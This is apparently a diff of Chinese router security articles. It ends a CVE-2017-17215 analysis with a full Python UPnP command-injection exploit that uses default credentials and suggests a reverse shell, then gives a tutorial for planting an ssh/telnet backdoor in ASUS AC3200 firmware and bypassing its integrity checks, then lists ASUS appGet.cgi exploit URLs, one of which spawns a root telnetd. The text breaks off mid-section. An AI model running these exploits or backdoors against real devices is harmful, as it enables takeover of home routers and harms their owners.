主要函数是 `UPnPGetActionByName`:
|
||||
|
||||

|
||||
|
||||
对该函数的调用最终可以追溯到:
|
||||
|
||||

|
||||
|
||||
在函数 `sub_40A9C8` 中有这样的逻辑:
|
||||
|
||||

|
||||
|
||||
而在 `UpnpGetServiceByUrl` 函数内部:
|
||||
|
||||

|
||||
|
||||
从函数逻辑可以判断 `a1` 是一个 url 变量,`g_pstUpnpGvarHead` 全局变量在 `ATP_UPNP_Init` 函数中进行赋值:
|
||||
|
||||

|
||||
|
||||
到此为止,我们的静态分析基本就可以梳理清楚漏洞的触发流程了,核心的关键点还是构造一个带漏洞字段的xml。
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
根据我们静态分析的结果,可以基本确认漏洞的触发流程,UPnP 服务是默认开启的,如果我们能在执行 `DeviceUpgrade_1` 这个action的时候,将那两个字段进行命令注入即可实现漏洞利用。
|
||||
|
||||
根据 Check Point 的 poc,抓取其流量可以看到 xml 数据的详细组织形式:
|
||||
|
||||

|
||||
|
||||
根据poc和流量构建 exp 如下:
|
||||
|
||||
```python
|
||||
import requests
|
||||
import click
|
||||
from threading import Thread
|
||||
from requests.auth import HTTPDigestAuth
|
||||
|
||||
print(f"""
|
||||
$$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$$$\ $$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$|
|
||||
$$ __$$\ $$ | $$ |$$ _____| $$ __$$\ $$$ __$$\ $$$$ | \____$$ | $$$$ | \____$$ |$$ __$$\ $$$$ | $$ ____|
|
||||
$$ / \__|$$ | $$ |$$ | \__/ $$ |$$$$\ $$ |\_$$ | $$ / \_$$ | $$ / \__/ $$ |\_$$ | $$ |
|
||||
$$ | \$$\ $$ |$$$$$\ $$$$$$\ $$$$$$ |$$\$$\$$ | $$ | $$ /$$$$$$\ $$ | $$ / $$$$$$ | $$ | $$$$$$$|
|
||||
$$ | \$$\$$ / $$ __|\______|$$ ____/ $$ \$$$$ | $$ | $$ / \______|$$ | $$ / $$ ____/ $$ | \_____$$|
|
||||
$$ | $$\ \$$$ / $$ | $$ | $$ |\$$$ | $$ | $$ / $$ | $$ / $$ | $$ | $$\ $$ |
|
||||
\$$$$$$ | \$ / $$$$$$$$\ $$$$$$$$\ \$$$$$$ /$$$$$$\ $$ / $$$$$$\ $$ / $$$$$$$$\ $$$$$$$$$$$$$$ |
|
||||
\______/ \_/ \________| \________| \______/ \______|\__/ \______|\__/ \________|\______|\______/
|
||||
""")
|
||||
|
||||
@click.command()
|
||||
@click.option('-i', '--ip', help="Target ip to attack.")
|
||||
@click.option('-c', '--command', type=str, help="Command want to execute.")
|
||||
def attack(ip, command):
|
||||
print("[+] Start Attacking...")
|
||||
url = f"http://{ip}:37215/ctrlt/DeviceUpgrade_1"
|
||||
payload = '''<?xml version=\"1.0\" ?>\n'''
|
||||
payload += '''<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n'''
|
||||
payload += '''<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n'''
|
||||
payload += f"<NewStatusURL>;{command};</NewStatusURL>\n"
|
||||
payload += '''<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n'''
|
||||
payload += '''</s:Body>\n'''
|
||||
payload += '''</s:Envelope>'''
|
||||
|
||||
resp = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = payload)
|
||||
if resp.status_code == 200:
|
||||
print("[+] Attack Success.")
|
||||
else:
|
||||
print("[+] Ooops! Attack faild, something wrong.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
attack()
|
||||
|
||||
```
|
||||
|
||||
>需要特殊说明的是,在exp中需要添加http的身份验证,否则会报401错误。
|
||||
>
|
||||
>exp中给定的命令是 cat /etc/profile>/tmp/test,会把/etc/profile文件内容和读取到/tmp/test文件中。
|
||||
|
||||
exp 使用:
|
||||
|
||||
```shell
|
||||
v4ler1an CVE-2017-17215 ➜ python3 exp.py --help
|
||||
|
||||
$$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$$$\ $$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$|
|
||||
$$ __$$\ $$ | $$ |$$ _____| $$ __$$\ $$$ __$$\ $$$$ | \____$$ | $$$$ | \____$$ |$$ __$$\ $$$$ | $$ ____|
|
||||
$$ / \__|$$ | $$ |$$ | \__/ $$ |$$$$\ $$ |\_$$ | $$ / \_$$ | $$ / \__/ $$ |\_$$ | $$ |
|
||||
$$ | \$$\ $$ |$$$$$\ $$$$$$\ $$$$$$ |$$\$$\$$ | $$ | $$ /$$$$$$\ $$ | $$ / $$$$$$ | $$ | $$$$$$$|
|
||||
$$ | \$$\$$ / $$ __|\______|$$ ____/ $$ \$$$$ | $$ | $$ / \______|$$ | $$ / $$ ____/ $$ | \_____$$|
|
||||
$$ | $$\ \$$$ / $$ | $$ | $$ |\$$$ | $$ | $$ / $$ | $$ / $$ | $$ | $$\ $$ |
|
||||
\$$$$$$ | \$ / $$$$$$$$\ $$$$$$$$\ \$$$$$$ /$$$$$$\ $$ / $$$$$$\ $$ / $$$$$$$$\ $$$$$$$$$$$$$$ |
|
||||
\______/ \_/ \________| \________| \______/ \______|\__/ \______|\__/ \________|\______|\______/
|
||||
|
||||
Usage: exp.py [OPTIONS]
|
||||
|
||||
Options:
|
||||
-i, --ip TEXT Target ip to attack.
|
||||
-c, --command TEXT Command want to execute.
|
||||
--help Show this message and exit.
|
||||
|
||||
v4ler1an CVE-2017-17215 ➜ python3 exp.py -i 192.168.7.7 -c "cat /etc/profile>/tmp/test"
|
||||
|
||||
$$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$$$\ $$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$|
|
||||
$$ __$$\ $$ | $$ |$$ _____| $$ __$$\ $$$ __$$\ $$$$ | \____$$ | $$$$ | \____$$ |$$ __$$\ $$$$ | $$ ____|
|
||||
$$ / \__|$$ | $$ |$$ | \__/ $$ |$$$$\ $$ |\_$$ | $$ / \_$$ | $$ / \__/ $$ |\_$$ | $$ |
|
||||
$$ | \$$\ $$ |$$$$$\ $$$$$$\ $$$$$$ |$$\$$\$$ | $$ | $$ /$$$$$$\ $$ | $$ / $$$$$$ | $$ | $$$$$$$|
|
||||
$$ | \$$\$$ / $$ __|\______|$$ ____/ $$ \$$$$ | $$ | $$ / \______|$$ | $$ / $$ ____/ $$ | \_____$$|
|
||||
$$ | $$\ \$$$ / $$ | $$ | $$ |\$$$ | $$ | $$ / $$ | $$ / $$ | $$ | $$\ $$ |
|
||||
\$$$$$$ | \$ / $$$$$$$$\ $$$$$$$$\ \$$$$$$ /$$$$$$\ $$ / $$$$$$\ $$ / $$$$$$$$\ $$$$$$$$$$$$$$ |
|
||||
\______/ \_/ \________| \________| \______/ \______|\__/ \______|\__/ \________|\______|\______/
|
||||
|
||||
[+] Start Attacking...
|
||||
[+] Attack Success.
|
||||
```
|
||||
|
||||
## 扩展利用
|
||||
|
||||
为便捷使用exp,我们可以将命令执行结果打印到web服务的一个页面上,也可以进行反弹shell。但是路由器设备的web服务是直接封装在了二进制文件中,通过`etc/webidx` 文件进行路由,所以打印命令执行结果的方式不可行。因此只能先进行反弹shell。
|
||||
|
||||
将注入的命令修改成反弹shell的相关命令,本地进行 nc 监听即可实现反弹shell。强烈建议使用 msf 这种成熟工具生成的反弹shell的shellcode。
|
||||
|
||||
# 总结
|
||||
|
||||
整体而言,该漏洞本身难度简单,分析其调用流程可能花费的时间会多一些。但是路由器系统本身体积较小,逆向梳理难度不大。
|
||||
|
||||
# 参考链接
|
||||
|
||||
1. [https://xz.aliyun.com/t/8494](https://xz.aliyun.com/t/8494)
|
||||
2. [https://blog.csdn.net/wuyou1995/article/details/109607992](https://blog.csdn.net/wuyou1995/article/details/109607992)
|
||||
3. [https://research.checkpoint.com/2017/good-zero-day-skiddie/](https://research.checkpoint.com/2017/good-zero-day-skiddie/)
|
||||
@@ -0,0 +1,151 @@
|
||||
# 华硕AC系列固件重打包与后门植入
|
||||
> ChaMd5
|
||||
> 来源:https://www.iotsec-zone.com/article/361
|
||||
|
||||
写在前面:华硕AC系列固件设备数量很多,因此具有一定的固件重打包和后门植入的价值,这篇文章对华硕AC系列固件进行了分析,并研究了其重打包方法。本篇文章以华硕AC3200固件为例。
|
||||
|
||||
#### 1.固件解包及基本结构解析
|
||||
首先用binwalk对华硕AC3200固件进行扫描:
|
||||
|
||||

|
||||
|
||||
由binwalk扫描发现固件由3部分组成:TRX头、内核以及文件系统构成。再拿firmware-mod-kit也解包扫描一下,最终可以发现其实这个固件是由4部分组成,文件系统中包含FOOTER字段(其实FOOTER字段就是文件系统的一部分):
|
||||
|
||||
1.TRX头
|
||||
2.内核:偏移是0x1C,范围是0x1C-0x1AFD23
|
||||
3.文件系统:偏移是0x1AFD24,范围是0x1AFD24-0x26C2B7F
|
||||
4.FOOTER:这个footer是binwalk扫描不出来的,是firmware-mod-kit扫描出来的,firmware-mod-kit这个算法很奇怪,总体来说就是从尾部向上找,当发现固件末尾都是00但是其中混杂着非00的信息时,就认为是有FOOTER的。FOOTER长度的计算方式也很有意思,从最末端开始向上找,每过一个字节,就+16,当找到那条非00的信息时结束。虽然不知道为什么这么计算,但是确实可以找到尾部的标志信息,具体的信息可以看一下firmware-mod-kit的具体算法,如图所示。拿winhex看一下固件,确实也发现了在尾部的FOOTER信息。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
固件解包可以直接用firmware-mod-kit实现:
|
||||
|
||||
```
|
||||
./extract-firmware.sh RT-AC3200_3.0.0.4_382_51940-ga3b9d4a.trx
|
||||
|
||||
```
|
||||
|
||||
成功的进行了解包,解出来的文件系统存储在fmk文件夹下。下一步我们在该文件夹系统下添加后门,在这里直接在开机执行的shell脚本中添加我们需要执行的命令,在这里我们开启一个ssh连接,生成后门代码如下,功能即为开启ssh:
|
||||
|
||||
```
|
||||
import os
|
||||
os.system("touch fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'sleep 120' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'nvram set sshd_enable=1' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'nvram set sshd_port_x=22' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'nvram set sshd_port=22' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'nvram set telnetd_enable=1' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'nvram set sshd_pass=1' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'service start_telnetd' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'service start_sshd' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'sleep 10' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'iptables -I INPUT -p tcp --dport 22 -j ACCEPT' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'sleep 30' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo 'dropbear -a -p 22' >> fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("chmod 4777 fmk/rootfs/usr/sbin/xtables")
|
||||
os.system("echo '/usr/sbin/xtables &' >> fmk/rootfs/usr/sbin/gencert.sh")
|
||||
|
||||
```
|
||||
|
||||
#### 2.固件打包
|
||||
此时添加完后门后,我们利用firmware-mod-kit直接进行重打包:
|
||||
|
||||
```
|
||||
./build_firmware.sh fmk/
|
||||
|
||||
```
|
||||
|
||||
这里直接进行重打包时,会报一个错误,如图:
|
||||
|
||||

|
||||
|
||||
由于加入了后门文件,导致现在的文件系统比原来的文件系统大,这样会重打包失败,因此我们可以缩减一下里面一些文件的大小,这里通过缩减所有图片的分辨率,来降低文件系统大小、
|
||||
|
||||
```
|
||||
import os
|
||||
def search(root, target):
|
||||
items = os.listdir(root)
|
||||
for item in items:
|
||||
path = os.path.join(root, item)
|
||||
if os.path.isdir(path):
|
||||
search(path, target)
|
||||
if target in path.split('/')[-1]:
|
||||
os.system("convert " + path + " " + path + ".gif")
|
||||
os.system("convert -strip -quality 75% " + path + ".gif " + path + ".gif")
|
||||
os.system("rm " + path)
|
||||
os.system("mv " + path + ".gif " + path)
|
||||
search("fmk/rootfs/www/images/", ".png")
|
||||
|
||||
```
|
||||
此时再次执行重打包,即可成功:
|
||||
|
||||

|
||||
|
||||
#### 3.固件校验
|
||||
进行完固件重打包后,固件在更新上传时会有校验,校验的函数在libshared.so文件中,名为check_imagefile。校验的关键代码如下:
|
||||
|
||||

|
||||
|
||||
发现主要是对固件做了两个校验,分别是crc校验和trx校验。分别对这两个校验进行一下解析。首先看一下check_crc函数。其校验代码如下,作用即为检查trx头部的crc字段。
|
||||
|
||||

|
||||
|
||||
其实crc字段在firmware-mod-kit打包时,就已经自动进行了更新,但是还是看一下其原理。check_crc这个函数主要就是为读取了一下TRX头,然后对其中的某些字段做了校验。TRX头部结构如下:
|
||||
|
||||
```
|
||||
struct trx_header {
|
||||
uint32_t magic; /* "HDR0" */
|
||||
uint32_t len; /* Length of file including header */
|
||||
uint32_t crc32; /* 32-bit CRC from flag_version to end of file */
|
||||
uint32_t flag_version; /* 0:15 flags, 16:31 version */
|
||||
uint32_t offsets[4]; /* Offsets of partitions from start of header */
|
||||
};
|
||||
|
||||
```
|
||||
|
||||
由此可知,check_crc应该就是检查的TRX头部的crc32字段,其中crc32字段存放的应该就是从flag_version至文件尾的CRCC校验值。我们这里拿winhex做一下计算,发现计算结果和crc32字段不一致,其实固件里存放的crc32字段是该计算结果取反后的。
|
||||
|
||||
|
||||
|
||||
2进制(原码) 1001 0001 1000 1000 0001 1010 1101 1110
|
||||
2进制(按位取反) 0110 1110 0111 0111 1110 0101 0010 0001
|
||||
16进制(原码) 91881ADE
|
||||
16进制(按位取反) 6E77E521
|
||||
|
||||

|
||||
|
||||
第二个校验函数为check_trx函数,虽然名为check_trx,经过分析发现其是华硕自己设计的检查尾部某个字节的函数。这个函数的功能如下,看到其首先检查了一下trx头是否可读。将trx头部信息读取到了v8缓存中,根据v8和v9的栈上的偏移,可以得出v9即为trx头部信息的第二个字段,长度字段。因此可以得出v9>0x8fdc30,之后在固件中,分别选取了两个位置的字节(0x24E4和0x8FDC30)进行了计算,并同固件中的某个位置的值做检查。简而言之就是计算得到的v10,和其中原本存放的位置a2做检查,看是否相等。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
下面我们需要确定一下这个计算得到的字节,到底存放在固件的哪个位置,我们知道这个字节存放在a2参数中,因此查看他的父函数check_imagefile函数(图在前面粘过),发现在父函数中,对应的变量为v21。因此查看一下v21参数所在的栈位置。比较坑的是,在这里ida的解析出现了问题,解析出来了v3和v4两个指向FILE的指针,在这里结合Ghidra做一下分析:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
根据分析可以发现,v3打开了文件后,用fseek做了一下指针的移动,注意根据fseek函数定义,该指针是从文件尾开始移动的。之后用fread读取了0x40个字节至v17空间。根据v17和v21在栈上的偏移得知,二者相差0x24,因此v21所在的字节就是从文件末尾起,0x40-0x24=0x1C处。也就是固件FOOTER字段里的最后一个非00值。
|
||||
|
||||
```
|
||||
int fseek(FILE *stream, long int offset, int whence)
|
||||
stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了流。
|
||||
offset -- 这是相对 whence 的偏移量,以字节为单位。
|
||||
whence -- 这是表示开始添加偏移 offset 的位置。它一般指定为下列常量之一:
|
||||
SEEK_SET 文件的开头
|
||||
SEEK_CUR 文件指针的当前位置
|
||||
SEEK_END 文件的末尾
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
综上,我们知道,华硕会对固件中指定位置(0x24E4和0x8FDC30)的两个字节做一个计算:将后面那个字节按位取反然后和前面字节相加相加,之后将这个值存放到文件尾部,作为固件的防护手段。
|
||||
我们用原先的AC3200固件做一下检查,其0x24E4和0x8FDC30字段分别存放着0xD1和0x16,然后经过~0x16+0xD1计算得到0x1BA,取单字节为0xBA,计算正确,因此重打包后的文件系统,经过计算将该字节修改正确即可。
|
||||
|
||||
综上,实现了最终的固件重打包,华硕固件结构比较简单,简而言之就是TRX头部+内核+文件系统(包含FOOTER字段)。重打包时只需要打包对应文件系统,然后添加内核和TRX头部,并且通过CRC校验和华硕自己涉及的尾部校验即可。
|
||||
|
||||
-end
|
||||
@@ -0,0 +1,364 @@
|
||||
# 华硕RT-AC68U系列漏洞复现(一)
|
||||
> buggart
|
||||
> 来源:https://www.iotsec-zone.com/article/45
|
||||
|
||||
# 华硕RT-AC68U系列漏洞复现(一):384-45149——hvidwp
|
||||
|
||||
[固件下载](https://www.asus.com.cn/Networking-IoT-Servers/WiFi-Routers/ASUS-WiFi-Routers/RTAC68U/HelpDesk_BIOS/)
|
||||
|
||||

|
||||
|
||||
在github上找到了[asuswrt-382的源码](https://github.com/bender647/asuswrt-382),看一下版本还不算老:`3.0.0.4.382.51640`
|
||||
|
||||
# 漏洞分析思路
|
||||
|
||||
拿到设备后,看了一下当前版本是:`版本 3.0.0.4.384.32738 `
|
||||
|
||||
接下来沿着厂商修复的路径逐一复现其修复的漏洞,以便更好的理解和掌握开发框架。
|
||||
|
||||
下一个漏洞修复点为:`版本 3.00.4.384.45149`
|
||||
|
||||

|
||||
|
||||
# 漏洞逐一复现
|
||||
|
||||
接下来逐一对其修复的漏洞进行复现。
|
||||
|
||||
## 0x01:CVE-2018-14710~CVE-2018-14714
|
||||
|
||||
CVE官网上对14710这个CVE的描述为:
|
||||
|
||||
```
|
||||
Description
|
||||
Cross-site scripting in appGet.cgi on ASUS RT-AC3200 version 3.0.0.4.382.50010 allows attackers to execute JavaScript via the "hook" URL parameter. |
|
||||
```
|
||||
|
||||
意思是攻击者可以通过appGet.cgi的url参数hook来执行javascript。
|
||||
|
||||
14711:
|
||||
|
||||
```
|
||||
Description
|
||||
Missing cross-site request forgery protection in appGet.cgi on ASUS RT-AC3200 version 3.0.0.4.382.50010 allows attackers to cause state-changing actions with specially crafted URLs. |
|
||||
```
|
||||
|
||||
攻击者构造特殊的urls可以更改状态。
|
||||
|
||||
14712:
|
||||
|
||||
```
|
||||
Description
|
||||
Buffer overflow in appGet.cgi on ASUS RT-AC3200 version 3.0.0.4.382.50010 allows attackers to inject system commands via the "hook" URL parameter.
|
||||
```
|
||||
|
||||
还可以通过缓冲区溢出造成命令注入。
|
||||
|
||||
14713:
|
||||
|
||||
```
|
||||
Description
|
||||
Format string vulnerability in appGet.cgi on ASUS RT-AC3200 version 3.0.0.4.382.50010 allows attackers to read arbitrary sections of memory and CPU registers via the "hook" URL parameter.
|
||||
```
|
||||
|
||||
存在格式化字符串漏洞可以读取内存。
|
||||
|
||||
14714:
|
||||
|
||||
```
|
||||
Description
|
||||
System command injection in appGet.cgi on ASUS RT-AC3200 version 3.0.0.4.382.50010 allows attackers to execute system commands via the "load_script" URL parameter.
|
||||
```
|
||||
|
||||
通过url参数"load_script"来进行命令注入。
|
||||
|
||||
这一系列漏洞都是围绕appGet.cgi的hook参数来进行的,开始是在ASUS RT-AC3200 上发现的
|
||||
|
||||
官网下载固件,定位appGet.cgi这个接口。
|
||||
|
||||
### **CVE-2018-14710**
|
||||
|
||||
当`/appeGet.cgi`调用不存在的hook函数时,会反射用户的输入。攻击者可以利用这个进行XSS攻击,只需要注意URL长度限制和字符过滤。
|
||||
|
||||
我们注意这边的处理逻辑,在handle_request中会依次在mime_handlers列表中对cgi进行匹配。
|
||||
|
||||

|
||||
|
||||
列表保存了对应的六元组结构体,保存了匹配字符串、成员类型、输入函数、输出函数、认证函数等信息。
|
||||
|
||||

|
||||
|
||||
在匹配到对应项后,会调用output成员函数进行处理,并传入conn_fp,是通过fdopen使一个标准的I / O流与网络套接字的描述符相结合而来的。
|
||||
|
||||

|
||||
如果访问appGet.cgi,会使用do_appGet_cgi函数进行对应的处理。
|
||||
|
||||
对左右括号中的内容进行了提取,并做了相应截断,保存在argv中。
|
||||
|
||||

|
||||
|
||||
并将hook后跟的函数名与传入参数直接以\%s-%s\的形式写入。fflush清除缓冲区,立即把输出缓冲区的数据进行物理写入。
|
||||
|
||||

|
||||
|
||||
在do_appGet_cgi中也会从ej_handlers这个列表对hook后跟的函数名进行匹配,如果匹配成功,会调用对应的处理函数。
|
||||
|
||||
但是没有找到对应函数时,就会将hook后面的内容返回给用户。
|
||||
|
||||

|
||||
|
||||
常规的我们设计一个弹窗,但这边被过滤掉了,因为前面会提取左右的括号,这里可以设置src标签来部署我们的js脚本在远端上。
|
||||
|
||||
我这里用python自带的服务器开启放了一个test.js里面放了个alert弹窗。
|
||||
|
||||
```url
|
||||
http://192.168.1.1/appGet.cgi?hook=bork(<script+src%3dhttp%3a//192.168.1.6%3a8000/test.js>ono</script>)
|
||||
```
|
||||
|
||||

|
||||
成功弹窗。
|
||||
|
||||

|
||||
|
||||
这样一来就可以运行自己的脚本。
|
||||
|
||||
### **CVE-2018-14711**
|
||||
|
||||
/appGet.cgi缺乏任何类型的跨站点请求伪造(CSRF)保护。因此可以通过设置钓鱼强迫用户来在没有戒备的状态下发出一些请求。例如诱使使用者跳转到如下URL更改系统区域设置。
|
||||
|
||||
```
|
||||
http://192.168.1.1/appGet.cgi?hook=select_channel("US")
|
||||
```
|
||||
|
||||
### **CVE-2018-14712**
|
||||
|
||||
/appGet.cgi中delete_sharedfolder中存在堆栈缓冲区溢出。
|
||||
|
||||
这个溢出发生在函数的libdisk.so中。构造如下url会导致httpd程序崩溃,导致web界面无法访问。这个只能在LAN口被利用,但是如果启用了远程管理,也能在WAN口利用。
|
||||
|
||||
```
|
||||
http://192.168.1.1/appGet.cgi?hook=delete_sharedfolder()&folder=A&pool=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
```
|
||||
|
||||
在delete_sharedfolder中通过websGetVar获取folder和pool,并使用get_mount_path来处理pool。
|
||||
|
||||
```c++
|
||||
pool = websGetVar("pool", a2, a3);
|
||||
if ( pool )
|
||||
pool_1 = pool;
|
||||
else
|
||||
pool_1 = "";
|
||||
folder = websGetVar("folder", v5, v6);
|
||||
if ( folder )
|
||||
folder_1 = folder;
|
||||
else
|
||||
folder_1 = "";
|
||||
......
|
||||
if ( get_mount_path(pool_1, mount_path, 4096) < 0 )
|
||||
{
|
||||
v10 = a2;
|
||||
goto LABEL_11;
|
||||
}
|
||||
```
|
||||
|
||||
在libdisk.so中,get_mount_path实质转到read_mount_data中。
|
||||
|
||||
```
|
||||
char *__fastcall read_mount_data(const char *pool, void *mount_path, signed int path_len, ....)
|
||||
{
|
||||
char v29[24]; // [sp+10h] [bp-1040h] BYREF
|
||||
_DWORD v30[4]; // [sp+1010h] [bp-40h] BYREF
|
||||
_DWORD v31[12]; // [sp+1020h] [bp-30h] BYREF
|
||||
...
|
||||
v31[0] = 0;
|
||||
v31[1] = 0;
|
||||
sprintf((char *)v31, "%s ", pool);
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
sprintf是不安全的,会将pool中的数据写入到v31数组而造成数组越界。
|
||||
|
||||
要注意的是设备开启了ASLR,无法直接利用起来进一步获取shell,但是结合cve-2018-14713就能泄露栈上地址,进一步进行利用。
|
||||
|
||||
### **CVE-2018-14713**
|
||||
|
||||
/appGet.cgi中的nvram_match函数用于匹配检测nvram存储的键值条目是否正确,函数需要3个参数,一个键、一个值、一个输出的字符串,如果键值匹配,会将输出字符串通过printf返回给客户端,这里可以进行格式化字符串内存泄漏。
|
||||
|
||||
经过身份验证的攻击者可以提供`printf()`format格式说明符,例如`%p`和`%n`,来泄露堆栈的信息以及任意内存的写入,例如,请求以下 URL 将泄漏寄存器 r2 和 r3 的内容,以及堆栈中的 8 个字节。
|
||||
|
||||
```
|
||||
http://192.168.1.1/appGet.cgi?hook=nvram_match("model","RT-AC68U","%25p%25p%25p%25p")
|
||||
```
|
||||
|
||||

|
||||
|
||||
这里建议找一些容易确定且不容易变化的键值进行内存泄露。
|
||||
|
||||
```c++
|
||||
int __fastcall ej_nvram_match(int eid, FILE *wp, int argc, int argv)
|
||||
{
|
||||
int v5; // r5
|
||||
char *output; // [sp+Ch] [bp-1Ch] BYREF
|
||||
const char *match; // [sp+10h] [bp-18h] BYREF
|
||||
int name; // [sp+14h] [bp-14h] BYREF
|
||||
|
||||
if ( ejArgs(argc, argv, "%s %s %s", (const char *)&name, (const char *)&match, (const char *)&output) > 2 )
|
||||
{
|
||||
v5 = nvram_match(name, match);//使用nvram_get获取键值和match进行比对,相同则返回1
|
||||
if ( v5 )
|
||||
{
|
||||
v5 = fprintf(wp, output);//匹配成功,使用fprint输出,这里存在格式化字符串漏洞
|
||||
fflush(wp);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
fputs("Insufficient args\n", wp);
|
||||
v5 = -1;
|
||||
}
|
||||
return v5;
|
||||
}
|
||||
```
|
||||
|
||||
### **CVE-2018-14714**
|
||||
|
||||
/appGet.cgi提供了一个load_script的hook,用来运行某些内置脚本。
|
||||
|
||||
```
|
||||
http://192.168.1.1/appGet.cgi?hook=load_script("../usr/sbin/telnetd+-l+/bin/sh+-p+8383")
|
||||
```
|
||||
|
||||
端点 at`/appGet.cgi`提供了一个`load_script`钩子,它允许运行某些内置脚本。但是,服务器不会验证或清理用户输入,从而导致能够在路由器上运行任意系统命令。下面提供了一个利用此漏洞的示例 URL。当经过身份验证的用户请求时,路由器将在端口 8383 上以 root 身份启动 telnetd 实例。
|
||||
|
||||
```c++
|
||||
char *__fastcall sys_script(const char *name)
|
||||
{
|
||||
char *result; // r0
|
||||
const char *v3; // r0
|
||||
int v4[64]; // [sp+0h] [bp-150h] BYREF
|
||||
char scmd[80]; // [sp+100h] [bp-50h] BYREF
|
||||
|
||||
sprintf(scmd, "/tmp/%s", name);//将script_name与/tmp拼接,生成scmd
|
||||
if ( !strcmp(name, "syscmd.sh") )
|
||||
{
|
||||
if ( !byte_9BA44 )
|
||||
return (char *)f_write_string("/tmp/syscmd.log", "", (unsigned __int8)byte_9BA44, (unsigned __int8)byte_9BA44);
|
||||
snprintf((char *)v4, 0x100u, "%s > /tmp/syscmd.log 2>&1 && echo 'XU6J03M6' >> /tmp/syscmd.log &\n", &byte_9BA44);
|
||||
system((const char *)v4);
|
||||
return strcpy(&byte_9BA44, "");
|
||||
}
|
||||
if ( !strcmp(name, "eject-usb.sh") )
|
||||
{
|
||||
v4[0] = (int)"rmstorage";
|
||||
goto LABEL_16;
|
||||
}
|
||||
if ( !strcmp(name, "ddnsclient") )
|
||||
{
|
||||
v3 = "restart_ddns";
|
||||
return (char *)notify_rc(v3);
|
||||
}
|
||||
if ( strstr(name, "asusddns_register") )
|
||||
{
|
||||
v3 = "asusddns_reg_domain";
|
||||
return (char *)notify_rc(v3);
|
||||
}
|
||||
result = (char *)strcmp(name, "leases.sh");
|
||||
if ( result )
|
||||
{
|
||||
result = (char *)strcmp(name, "dleases.sh");
|
||||
if ( result )
|
||||
{
|
||||
if ( strchr(scmd, ' ') ) //当不满足以上的匹配条件,检测到有空格,就执行
|
||||
return (char *)system(scmd);
|
||||
v4[0] = (int)scmd;
|
||||
LABEL_16:
|
||||
v4[1] = 0;
|
||||
return (char *)((int (__fastcall *)(int *, _DWORD, _DWORD, _DWORD))eval)(v4, 0, 0, 0);
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
```
|
||||
|
||||
所以可以设计`../usr/sbin/`去访问telnetd服务,指定端口,开启telnet服务。
|
||||
|
||||
### 披露时间线
|
||||
|
||||
- **2018 年 7 月 6 日:**首次披露漏洞。华硕确认收到并要求提供详细信息以进行验证。ISE 提供了更多详细信息。
|
||||
- **2018 年 7 月 10 日:**华硕确认错误是可重现的。
|
||||
- **2018 年 7 月 16 日:**华硕向 ISE 发送测试版固件更新,并要求 ISE 验证缓解措施。
|
||||
- **2018 年 8 月 22 日**:ISE 同意测试固件。
|
||||
- **2018 年 10 月 1 日至 3 日:** ISE 确认漏洞已得到解决,并将其传达给华硕。
|
||||
- **2018 年 11 月 8 日:** ISE 询问华硕计划何时发布 RT-AC3200 更新,因为即将发布。
|
||||
|
||||
### 小结
|
||||
|
||||
在实际复现的过程中,虽然公告是在`3.0.0.4.384.45149`中修复了这些漏洞,但实际是在`3.0.0.4.384.32738` 就尝试进行了部分修复,所以我们实际复现是在更早些的版本`3.0.0.4.384.10007`。开发者在设计时没有充分考虑安全性,对于脚本执行、命令执行、栈溢出、格式化字符串、跨站执行等没有充分考虑。建议设置一些命令执行的字符过滤,换用snprintf这类更加安全的函数。
|
||||
|
||||
## 0x02:CVE-2018-17020~CVE-2018-17022
|
||||
|
||||
CVE官网:
|
||||
|
||||
```
|
||||
CVE-ID:CVE-2018-17020
|
||||
Description:ASUS GT-AC5300 devices with firmware through 3.0.0.4.384_32738 allow remote attackers to cause a denial of service via a single "GET / HTTP/1.1\r\n" line.
|
||||
```
|
||||
|
||||
可以通发送Get包造成拒绝服务攻击。
|
||||
|
||||
```
|
||||
CVE-ID:CVE-2018-17021
|
||||
Description:Cross-site scripting (XSS) vulnerability on ASUS GT-AC5300 devices with firmware through 3.0.0.4.384_32738 allows remote attackers to inject arbitrary web script or HTML via the appGet.cgi hook parameter.
|
||||
```
|
||||
|
||||
可以通过appGet.cgi注入任意Web或HTML
|
||||
|
||||
```
|
||||
CVE-ID:CVE-2018-17022
|
||||
